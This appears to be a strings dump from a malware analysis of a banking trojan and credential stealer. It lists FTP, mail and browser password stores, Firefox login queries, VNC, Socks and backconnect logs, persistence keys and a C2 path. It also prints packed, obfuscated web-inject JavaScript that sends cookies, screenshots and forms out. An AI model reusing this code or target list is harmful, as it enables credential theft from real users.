{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

\PocoSystem.ini

accounts.ini

accounts.ini

sites.dat

sites.dat

\LeapWare\LeapFTP

\LeapWare\LeapFTP

unleap.exe

unleap.exe

leapftp

leapftp

FtpIniName

FtpIniName

Software\Ghisler\Windows Commander

Software\Ghisler\Windows Commander

wcx_PTF.ini

wcx_PTF.ini

\sitemanager.xml

\sitemanager.xml

\recentservers.xml

\recentservers.xml

\filezilla.xml

\filezilla.xml

"password" : "

"password" : "

"password":"

"password":"

\drives.js

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wiseftpsrvs.ini

wisePTF.ini

wisePTF.ini

wiseftpsrvs.bin

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP Count

FTP File%u

FTP File%u

Robo-FTP

Robo-FTP

SOFTWARE\%s\FTPServers

SOFTWARE\%s\FTPServers

user.config

user.config

.duck

.duck

SiteServer %u\Host

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u-User PW

SiteServer %u\SFTP

SiteServer %u\SFTP

Keychain

Keychain

Software\Nico Mak Computing\WinZip\FTP

Software\Nico Mak Computing\WinZip\FTP

PK11_GetInternalKeySlot

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3.dll

sqlite3_prepare

sqlite3_prepare

sqlite3_step

sqlite3_step

sqlite3_column_bytes

sqlite3_column_bytes

sqlite3_column_blob

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

PTF://

signons.sqlite

signons.sqlite

\profiles.ini

\profiles.ini

PathToExe

PathToExe

\Mozilla\Firefox\

\Mozilla\Firefox\

Firefox

Firefox

Software\Mozilla

Software\Mozilla

fireFTPsites.dat

fireFTPsites.dat

\Mozilla\SeaMonkey\

\Mozilla\SeaMonkey\

SeaMonkey

SeaMonkey

\Mozilla\Profiles\

\Mozilla\Profiles\

Mozilla

Mozilla

password 51:b:

password 51:b:

SMTP Password

SMTP Password

HTTPMail Password

HTTPMail Password

NNTP Password

NNTP Password

IMAP Password

IMAP Password

POP3 Password

POP3 Password

SMTP Password2

SMTP Password2

HTTPMail Password2

HTTPMail Password2

NNTP Password2

NNTP Password2

IMAP Password2

IMAP Password2

POP3 Password2

POP3 Password2

IMAP Port

IMAP Port

SMTP Port

SMTP Port

POP3 Port

POP3 Port

SMTP User

SMTP User

HTTPMail Server

HTTPMail Server

HTTPMail User Name

HTTPMail User Name

HTTP Server URL

HTTP Server URL

HTTP User

HTTP User

SMTP User Name

SMTP User Name

SMTP Server

SMTP Server

SMTP Email Address

SMTP Email Address

{X-X-X-XX-XXXXXX}

{X-X-X-XX-XXXXXX}

inetcomm server passwords

inetcomm server passwords

outlook account manager passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

Pstorec.dll

[VNC] EXEC: %s

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

GetAsyncKeyState

USER32.DLL

USER32.DLL

GetKeyboardState

GetKeyboardState

GetKeyState

GetKeyState

?WINMM.DLL

?WINMM.DLL

?DSOUND.DLL

?DSOUND.DLL

ZwConnectPort

ZwConnectPort

NTDLL.DLL

NTDLL.DLL

[VNC] PROCESS=%s

[VNC] PROCESS=%s

\explorer.exe

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

[VNC] CreateProcess Status = %u (%u)

Chrome_WidgetWin_1

Chrome_WidgetWin_1

SysShadow

SysShadow

Chrome_WidgetWin_0

Chrome_WidgetWin_0

Dxtrans.dll

Dxtrans.dll

d3d11.dll

d3d11.dll

d3d9.dll

d3d9.dll

OPENGL32.dll

OPENGL32.dll

d2d1.dll

d2d1.dll

d3d10core.dll

d3d10core.dll

d3d10.dll

d3d10.dll

d3d10_1core.dll

d3d10_1core.dll

d3d10_1.dll

d3d10_1.dll

RegCloseKey

RegCloseKey

RegNotifyChangeKeyValue

RegNotifyChangeKeyValue

ShellExecuteA

ShellExecuteA

DeleteUrlCacheEntry

DeleteUrlCacheEntry

EnumWindows

EnumWindows

ActivateKeyboardLayout

ActivateKeyboardLayout

SetViewportOrgEx

SetViewportOrgEx

RegEnumKeyExA

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyA

RegCreateKeyExA

RegCreateKeyExA

RegOpenKeyExA

RegOpenKeyExA

CryptImportKey

CryptImportKey

CryptDestroyKey

CryptDestroyKey

RegOpenKeyA

RegOpenKeyA

CertOpenSystemStoreA

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertAddCertificateContextToStore

CertCloseStore

CertCloseStore

CertEnumCertificatesInStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

CertDuplicateCertificateContext

PFXExportCertStoreEx

PFXExportCertStoreEx

SHDeleteKeyA

SHDeleteKeyA

FindFirstUrlCacheEntryA

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

FindNextUrlCacheEntryA

FindCloseUrlCache

FindCloseUrlCache

FindNextUrlCacheEntryW

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

FindFirstUrlCacheEntryW

WinExec

WinExec

KERNEL32.dll

KERNEL32.dll

MSVCRT.dll

MSVCRT.dll

IPHLPAPI.DLL

IPHLPAPI.DLL

AVIFIL32.dll

AVIFIL32.dll

GetWindowsDirectoryW

GetWindowsDirectoryW

CallNamedPipeA

CallNamedPipeA

ConnectNamedPipe

ConnectNamedPipe

CreateNamedPipeW

CreateNamedPipeW

DisconnectNamedPipe

DisconnectNamedPipe

CreateNamedPipeA

CreateNamedPipeA

GetWindowsDirectoryA

GetWindowsDirectoryA

COMDLG32.dll

COMDLG32.dll

%System%\spoolsv.exe

%System%\spoolsv.exe

iexplore.exe

iexplore.exe

chrome.exe

chrome.exe

\System32\kernel32.dll

\System32\kernel32.dll

\System32\kernelbase.dll

\System32\kernelbase.dll

\ThemeApiPort

\ThemeApiPort

imapi.exe_1780_rwx_00AB0000_00054000:

%Documents and Settings%\All Users\Application Data\EbgoNqozs\EbgoNqozs.dat

%Documents and Settings%\All Users\Application Data\EbgoNqozs\EbgoNqozs.dat

.text

.text

.rdata

.rdata

@.data

@.data

.reloc

.reloc

t.FVSh4

t.FVSh4

_^SSSh

_^SSSh

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

SHLWAPI.dll

SHLWAPI.dll

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

More information: hXXp://VVV.ibsensoftware.com/

More information: hXXp://VVV.ibsensoftware.com/

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

8CRYPT32.dll

8CRYPT32.dll

NETAPI32.dll

NETAPI32.dll

HttpSendRequestW

HttpSendRequestW

HttpSendRequestExW

HttpSendRequestExW

HttpSendRequestExA

HttpSendRequestExA

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

HttpOpenRequestW

HttpOpenRequestW

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

wininet.dll

wininet.dll

rapport

rapport

ieframe.dll

ieframe.dll

NSPR4.DLL

NSPR4.DLL

nss3.dll

nss3.dll

kernel32.dll

kernel32.dll

\Google\Chrome\User Data\Default\

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

\Mozilla\Firefox\Profiles\

sol_chrome/

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

@http

@http

SELECT url FROM moz_places

SELECT url FROM moz_places

places.sqlite

places.sqlite

ie/history.txt

ie/history.txt

ff/history.txt

ff/history.txt

ff/%u/places.sqlite

ff/%u/places.sqlite

framework_key%

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '

eval('var %s '

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

%s.Hide('%0.8X%0.8X');

CertificateAuthority

CertificateAuthority

%s.pfx

%s.pfx

cookies.sqlite

cookies.sqlite

cookies.sqlite-journal

cookies.sqlite-journal

ff/%u/cookies.sqlite

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-Firefox-Spdy

X-WebKit-CSP

X-WebKit-CSP

hXXps://

hXXps://

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Content-Length: %u

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

login=%s&pass=%s

KERNEL32.DLL

KERNEL32.DLL

chrome.dll

chrome.dll

127.0.0.1

127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

[VNC] Parse param error: %s

\regsvr32.exe

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

fv_%u.avi

#FV_%u

#FV_%u

#FV_%s

#FV_%s

pass.txt

pass.txt

cert.pfx

cert.pfx

PFXImportCertStore

PFXImportCertStore

Crypt32.dll

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

prefs.js

csrss.exe

csrss.exe

smss.exe

smss.exe

wininit.exe

wininit.exe

services.exe

services.exe

svchost.exe

svchost.exe

lsass.exe

lsass.exe

lsm.exe

lsm.exe

winlogon.exe

winlogon.exe

taskhost.exe

taskhost.exe

WININET.DLL

WININET.DLL

HttpEndRequestA

HttpEndRequestA

HttpEndRequestW

HttpEndRequestW

ADVAPI32.DLL

ADVAPI32.DLL

Init in Browser = %u

Init in Browser = %u

Init in Shell = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

[Socks] Fail parse param: %s

#cert

#cert

[Pony] Fail Get Pass

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status[Local]: %u = %u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

Start VNC Status[Local]: %u

msvcrt.dll

msvcrt.dll

%0.8X%0.8X%c

%0.8X%0.8X%c

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

firefox.exe

firefox.exe

explorer.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

mozsqlite3.dll

sqlite3_open

sqlite3_open

sqlite3_exec

sqlite3_exec

sqlite3_close

sqlite3_close

sqlite3_free

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] cmd error: %u

[BC] Cmd need disconnect

[BC] Cmd need disconnect

ntdll.dll

ntdll.dll

Common Files\Doctor Web

Common Files\Doctor Web

Doctor Web

Doctor Web

McAfee.com

McAfee.com

DrWeb

DrWeb

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Kernel32.dll

Kernel32.dll

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfg

account.cfn

account.cfn

Dir #%u

Dir #%u

.oeaccount

.oeaccount

Software\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPort

PopPassword

PopPassword

SmtpServer

SmtpServer

SmtpPort

SmtpPort

SmtpAccount

SmtpAccount

SmtpPassword

SmtpPassword

